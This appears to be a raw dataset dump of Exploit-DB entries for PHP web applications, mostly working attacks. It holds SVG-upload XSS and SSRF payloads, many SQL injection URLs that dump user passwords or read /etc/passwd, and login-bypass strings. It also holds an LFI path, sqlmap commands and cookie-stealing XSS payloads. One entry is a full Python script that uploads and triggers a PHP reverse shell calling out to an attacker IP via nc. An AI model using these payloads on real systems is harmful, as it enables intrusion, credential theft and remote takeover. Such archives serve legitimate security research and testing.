deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49636
Description: CouchCMS 2.2.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-03-11
Author: xxcdd

Exploit:
# Exploit Title: CouchCMS 2.2.1 - XSS via SVG file upload
# Date: 2021-01-25
# Exploit Author: xxcdd
# Vendor Homepage: https://github.com/CouchCMS/CouchCMS
# Software Link: https://github.com/CouchCMS/CouchCMS
# Version: v2.2.1
# Tested on: Windows 7

An issue was discovered in CouchCMS v2.2.1 (https://github.com/CouchCMS/CouchCMS/issues/130) that allows XSS via an /couch/includes/kcfinder/browse.php SVG upload.

upload url is :/couch/includes/kcfinder/browse.php?nonce=[yournonce]&type=file&CKEditor=f_main_content&CKEditorFuncNum=1&langCode=en
<http://127.0.0.1/couch/includes/kcfinder/browse.php?nonce=02b16f710f786c61f34e301eae552bdf&type=file&CKEditor=f_main_content&CKEditorFuncNum=1&langCode=en>

xss.svg content:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
  <script type="text/javascript">
    alert(document.cookie);
  </script>
</svg>
Exploit-DB #49675
Description: CouchCMS 2.2.1 - Server-Side Request Forgery
Type: webapps
Platform: php
Date: 2021-03-19
Author: xxcdd

Exploit:
# Exploit Title: CouchCMS 2.2.1 - SSRF via SVG file upload
# Date: 2021-01-25
# Exploit Author: xxcdd
# Vendor Homepage: https://github.com/CouchCMS/CouchCMS
# Software Link: https://github.com/CouchCMS/CouchCMS
# Version: v2.2.1
# Tested on: Windows 7

An issue was discovered in CouchCMS v2.2.1 (https://github.com/CouchCMS/CouchCMS/issues/130) that allows SSRF via an /couch/includes/kcfinder/browse.php SVG upload.

upload url is :/couch/includes/kcfinder/browse.php?nonce=[yournonce]&type=file&CKEditor=f_main_content&CKEditorFuncNum=1&langCode=en

ssrf.svg content:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="
http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
width="200" height="200">
<image height="200" width="200" xlink:href="http://<test_ip>:1234" />
</svg>
Exploit-DB #31154
Description: Counter Strike Portals - 'download' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-12
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27747/info

Counter Strike Portals is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?page=downloads&mode=details&id=-1/**/union/**/select/**/0,member_nick,111,member_pass,222,333,444,555,666/**/from/**/tbl_member/*
Exploit-DB #45228
Description: Countly - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-08-20
Author: Sleepy

Exploit:
############################################################################
# Exploit Title: Countly-server Stored(Persistent) XSS Vulnerability 
# Date: Monday - 2018 13 August
# Author: 10:10AM Team
# Discovered By: Sleepy
# Software Link: https://github.com/Countly/countly-server
# Version: All Version
# Category: Web-apps
# Security Risk: Critical
# Tested on: GNU/Linux Ubuntu 16.04 - win 10
############################################################################
#  Exploit:
#  Description:
#
#     Attacker can use multiple parameters in the provided link to inject his own data in the database 
#     of this application,the injected data can then be directly viewed in the event logs panel
#     (manage>logger).
#     Attacker may use this vulnerability to inject his own payload for attacks like Stored XSS.
#     The injected payload will be executed everytime that the target page gets visited/refreshed.
#
#  Proof of Concept:
#
#     Injection URL:
#
#            � 	http://[server_ip]:[api_port]/i?api_key=[api_key]&parameter_1=[payload_1]&parameter_2=[payload_2]&etc...   
#
#     Execution URL(login to server dashboard and navigate to "event logs" panel):
#
#            �  http://[server_ip]:[server_port]/dashboard#/[app_key]/manage/logger
#	
#
############################################################################
# WE ARE: Sleepy({ssleeppyy@gmail.com}), Mikili({mikili.land@gmail.com})
############################################################################
Exploit-DB #41556
Description: Country on Sale Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Country on Sale Script - SQL Injection
# Google Dork: N/A
# Date: 09.03.2017
# Vendor Homepage: http://www.websitescripts.org/
# Software: http://www.websitescripts.org/website-scripts/country-on-sale-script/prod_53.html
# Demo: http://www.websitescripts.org/demo/countryonsalescript/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/read_more.php?newsid=[SQL]
# http://localhost/[PATH]/countries/index.php?id=[SQL]
# 13'+/*!50000union*/+select+1,version(),0x496873616e2053656e63616e3c62723e7777772e696873616e2e6e6574,4,5--+-
# Etc..
# # # # #
Exploit-DB #6348
Description: Coupon Script 4.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-02
Author: Hussin X

Exploit:
|___________________________________________________|
|
| Coupon Script 4.0 (id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author:  Hussin X
|
|    Home :  WwW.Hussin-X.CoM  |  WwW.tryag.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.couponscript.com/
|
| DorK   :  inurl:couponsite/index.php?page=
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/index.php?page=addtocart&id=-170/**/union/**/select/**/database(),user(),version(),user(),database(),6,7,user(),9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24/*




L!VE DEMO:
_________


http://couponscript.com/couponsite/index.php?page=addtocart&id=-170/**/union/**/select/**/database(),user(),version(),user(),database(),6,7,user(),9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24/*







____________________________( Greetz )_________________________________
|
|    All members of the Forum  WwW.Hussin-X.CoM | WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | kadmiwe
|  
|    jiko | FAHD | Iraqihack | mos_chori | str0ke | Ghost Hacker
|______________________________________________________________________
 

                       Im IRAQi

# milw0rm.com [2008-09-02]
Exploit-DB #41736
Description: CouponPHP CMS 3.1 - 'code' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-27
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: CouponPHP Script v3.1 - SQL Injection
# Google Dork: N/A
# Date: 27.03.2017
# Vendor Homepage: http://couponphp.com/
# Software: http://couponphp.com/demos
# Demo: http://newdemo2.couponphp.com
# Demo: http://newdemo3.couponphp.com
# Version: 3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/go.php?coupon_id=1&code=[SQL]
# users
#  id
#  username
#  password
# # # # #
Exploit-DB #9830
Description: Cour Supreme - SQL Injection
Type: webapps
Platform: php
Date: 2009-09-23
Author: CrAzY CrAcKeR

Exploit:
=================================================

Discovered By: CrAzY CrAcKeR

Email: CrAzY_CrAcKeR(at)hotmail(dot)com

================================================

example:-

http://www.example.in/index.php?p=affichedecision&id=-669 union select 1,2,3,4,5,6,load_file('/etc/passwd'),8+from+mysql.user

================================================
Exploit-DB #41059
Description: Courier Business Website Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Admin Login Bypass & SQLi
# Date: 13.01.2017
# Vendor Homepage: http://scriptfirm.com/
# Script Name:  Courier Business Website Script
# Script Buy Now: http://scriptfirm.com/courier-business-website
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #49241
Description: Courier Management System 1.0 - 'First Name' Stored XSS
Type: webapps
Platform: php
Date: 2020-12-11
Author: Zhaiyi

Exploit:
# Exploit Title: Courier Management System 1.0 - 'First Name' Stored XSS
# Exploit Author: Zhaiyi (Zeo)
# Date: 2020-12-11
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14615/task-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14615&title=Task+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application

Step 1: Log in to the CMS with any valid user credentials.
Step 2: Click on the logged in username on header and select Manage Account.
Step 3: Rename the user First Name or Last Name to
"<script>alert(1111)</script>".
Step 4: Update Profile and this will trigger the XSS.
Step 5: Logout and login again and the page will display the domain name.
Exploit-DB #49242
Description: Courier Management System 1.0 - 'MULTIPART street ((custom) ' SQL Injection
Type: webapps
Platform: php
Date: 2020-12-11
Author: Zhaiyi

Exploit:
# Exploit Title: Courier Management System 1.0 - 'MULTIPART street ' SQL Injection
# Exploit Author: Zhaiyi (Zeo)
# Date: 2020-12-11
# Vendor Homepage: https://www.sourcecodester.com/php/14615/task-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14615&title=Task+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application

Step 1. Log into application with credentials
Step 2. Click on Branch
Step 3. Select New Branch http://127.0.0.1/index.php?page=new_branch
Step 4. Fill the form  , click on save
Step 5. Capture the request of the ""/ajax.php?action=save_branch"" page in burpsute
Step 6. Save request and run sqlmap on request file using command " sqlmap -r request --time-sec=5 --dbs "
Step 7. This will inject successfully and you will have an information disclosure of all databases contents

---
Parameter: MULTIPART street ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ----------------------------[PII_REDACTED][PII_REDACTED]939507245
Content-Disposition: form-data; name="id"


----------------------------[PII_REDACTED][PII_REDACTED]939507245
Content-Disposition: form-data; name="street"
[PII_REDACTED]1' AND (SELECT 8687 FROM (SELECT(SLEEP(5)))XZFt) AND 'OQNu'='OQNu
----------------------------[PII_REDACTED][PII_REDACTED]939507245
Content-Disposition: form-data; name="city"

111111111
----------------------------[PII_REDACTED][PII_REDACTED]939507245
Content-Disposition: form-data; name="state"
[PII_REDACTED]
----------------------------[PII_REDACTED][PII_REDACTED]939507245
Content-Disposition: form-data; name="zip_code"
[PII_REDACTED]1111
----------------------------[PII_REDACTED][PII_REDACTED]939507245
Content-Disposition: form-data; name="country"
[PII_REDACTED]111
----------------------------[PII_REDACTED][PII_REDACTED]939507245
Content-Disposition: form-data; name="contact"

111111111
----------------------------[PII_REDACTED][PII_REDACTED]939507245--
---
Exploit-DB #49243
Description: Courier Management System 1.0 - 'ref_no' SQL Injection
Type: webapps
Platform: php
Date: 2020-12-11
Author: Zhaiyi

Exploit:
# Exploit Title: Courier Management System 1.0 - 'ref_no' SQL Injection
# Exploit Author: Zhaiyi (Zeo)
# Date: 2020-12-11
# Vendor Homepage: https://www.sourcecodester.com/php/14615/task-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14615&title=Task+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application

Step 1. Log into application with credentials
Step 2. Click on Branch
Step 3. Select New Branch http://127.0.0.1/index.php?page=new_branch
Step 4. Fill the form  , click on save
Step 5. Capture the request of the ""/ajax.php?action=save_branch"" page inburpsute
Step 6. Save request and run sqlmap on request file using command " sqlmap -r request --time-sec=5 --dbs "
Step 7. This will inject successfully and you will have an information disclosure of all databases contents

---
Parameter: ref_no (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ref_no=123' AND (SELECT 5575 FROM (SELECT(SLEEP(5)))ngIo) AND
'knst'='knst
---
Exploit-DB #41729
Description: Courier Tracking Software 6.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-26
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Courier Tracking Software v6.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/courier-tracking-software-ver-6
# Demo: http://courierv6.couriersoftwares.com/
# Version: 6.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/eaglecov6.php?c=other&f=show_news_details&view_id=[SQL]
# http://localhost/[PATH]/eaglecov6.php?c=homepage&f=services&ser_id=[SQL]
# user:username
# user:hub_name
# user:password
# user:hidden_pass
# user:entrydate
# user:onlinestatus
# user:status
# Etc...
# # # # #
Exploit-DB #38819
Description: Course Registration Management System - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2013-10-21
Author: Omar Kurt

Exploit:
source: https://www.securityfocus.com/bid/63435/info

Course Registration Management System is prone to multiple cross-site scripting and multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers can exploit these issues to execute arbitrary code in the context of the browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; other attacks are also possible.

Course Registration Management System 2.2.1 is vulnerable; other versions may also be affected. 


http://example.com/add_user.php (POST -  params: work_tel, lastname, email, gmc_reg, job_title, firstname)

http://example.com/login.php (POST -  params: username)

http://example.com/auth.php (POST -  params: username)

http://example.com/forgotten_password.php
(POST - username)
username='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'

http://example.com/add_user.php
(POST - email)
email='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'

http://example.com/login.php
(POST - username)
username='+(SELECT 1 FROM (SELECT SLEEP(25))A)+
Exploit-DB #16222
Description: course registration management system 2.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-23
Author: AutoSec Tools

Exploit:
Source: http://packetstormsecurity.org/files/view/98650/CourseMS2.1-LFI.txt

------------------------------------------------------------------------
Software................Course MS 2.1
Vulnerability...........Local File Inclusion
Download................http://sourceforge.net/projects/coursems
Release Date............2/14/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
------------------------------------------------------------------------

--Description--


A local file inclusion vulnerability in Course MS 2.1 can be exploited
to include arbitrary files.


--PoC--

http://localhost/coursems2_2/download_file.php?path=../../../../../../../../windows/win.ini%00


An SQL injection vulnerability in Course MS 2.1 can be exploited to
bypass authentication.


--PoC--

Enter the following in the username field of the login screen:


'or 1=1;#

A reflected cross-site scripting vulnerability in Course MS 2.1 can be
exploited to execute arbitrary JavaScript.


--PoC--
http://localhost/coursems2_2/gmap.php?lat=%3Cscript%3Ealert(0)%3C/script%3E&lon=%3Cscript%3Ealert(0)%3C/script%3E&add1=%3C/script%3E%3Cscript%3Ealert(0)%3C/script%3E&width=%3Cscript%3Ealert(0)%3C/script%3E&height=%3Cscript%3Ealert(0)%3C/script%3E


http://localhost/coursems2_2/resolve.php?add1=%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #26815
Description: CourseForum Technologies ProjectForum 4.7 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-12-14
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15850/info

ProjectForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admin/adminsignin.html?fwd=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
http://www.example.com/support/admin/newpage.html?originalpageid=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #16968
Description: Cover Vision - SQL Injection
Type: webapps
Platform: php
Date: 2011-03-13
Author: Egyptian.H4x0rz

Exploit:
####################################################################
[+] Exploit Title : Cover Vision  [ Sql Injection Vulnerability]
[+] Author : Egyptian.H4x0rz
[+] Contact : SpY(at)Hotmail.Com
[+] Date : 13-03-2011
[+] Software Link: http://unikscripts.com/yaxal_products.php?display=product&id=66
[+] category: Web Apps [SQli]
[+] HomePage : www.Black-hat.cc
####################################################################

Vulnerability:
   
*SQL injection Vulnerability*
  
[#] http://patch/content.php?id=1+union+select+1,2,3,4,[sqli],6,7,8,9,10,11,12,13
 
[#] eXample
http://server/content.php?id=-1+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13
   
####################################################################
#End 0Day                                                                                                                                       #
####################################################################
Exploit-DB #49604
Description: Covid-19 Contact Tracing System 1.0 - Remote Code Execution (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-03-01
Author: Christian Vierschilling

Exploit:
# Exploit Title: Covid-19 Contact Tracing System 1.0 - Remote Code Execution (Unauthenticated)
# Date: 28-02-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14728/covid-19-contact-tracing-system-web-app-qr-code-scanning-using-php-source-code.html
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86

# --- Description --- #

# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.

# --- Proof of concept --- #

#!/usr/bin/python3
import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
  random_file_name = str(random.randint(100000, 999999)) + "revshell.php"
  revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
  m = MultipartEncoder(fields={'name': 'PWNED', 'img': (random_file_name, revshell_string, 'application/x-php')})
  print("(+) Uploading php reverse shell..")
  r1 = requests.post('http://{}/cts_qr/classes/SystemSettings.php?f=update_settings'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
  if r1.text == '1':
    print("(+) File upload seems to have been successful!")
    return None
  else:
    print("(-) Oh no, the file upload seems to have failed!")
    exit()

def trigger_shell(target_ip):
  print("(+) Now trying to trigger our shell..")

  #The file we uploaded previously is expected to be an image that the web app tries to embed into the login page.
  #So by requesting the login page, our reverse shell php file will get triggered automatically. We dont even need to calculate the random bits of its new name.
  r2 = requests.get('http://{}/cts_qr/login.php'.format(target_ip))
  return None

def main():
  if len(sys.argv) != 4:
    print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
    print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])
    sys.exit(-1)

  target_ip = sys.argv[1]
  attacker_ip = sys.argv[2]
  attacker_port = sys.argv[3]

  file_upload(target_ip, attacker_ip, attacker_port)
  trigger_shell(target_ip)
  print("\n(+) done!")

if __name__ == "__main__":
  main()
Exploit-DB #49887
Description: COVID19 Testing Management System 1.0 - 'Admin name' Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-05-19
Author: Rohit Burke

Exploit:
# Exploit Title: COVID19 Testing Management System 1.0 - 'Admin name' Cross-Site Scripting (XSS)
# Date: 19/05/2021
# Exploit Author: Rohit Burke
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10

==> Stored Cross-Site Scripting XSS:
An attacker uses Stored XSS to inject malicious content (referred to as
the payload), most often JavaScript code, into the target application. If
there is no input validation, this malicious code is permanently stored
(persisted) by the target application, for example within a database. For
example, an attacker may enter a malicious script into a user input field
such as a blog comment field or in a forum post.
When a victim opens the affected web page in a browser, the XSS attack
payload is served to the victim’s browser as part of the HTML code (just
like a legitimate comment would). This means that victims will end up
executing the malicious script once the page is viewed in their browser.

==> Attack Vendor:
This vulnerability can results attacker injecting the XSS payload in the
Admin profile section and each time admin visits the all other sections of
the application the XSS triggers and the attacker can able to steal the
cookie according to the crafted payload.

==> Vulnerable Parameters:
"Admin name" parameter

==> Steps for reproduce:

1) Go to http://localhost/covid-tms/login.php
and logged In as an Admin (#Username: admin #[CREDENTIAL_REDACTED]).

2) Click on (Admin --> Profile). Enter the payload in
Admin name = <script>alert(1337)</script> 
Click on submit.

3) Now, whichever section of the application admin visits the payload gets executed successfully.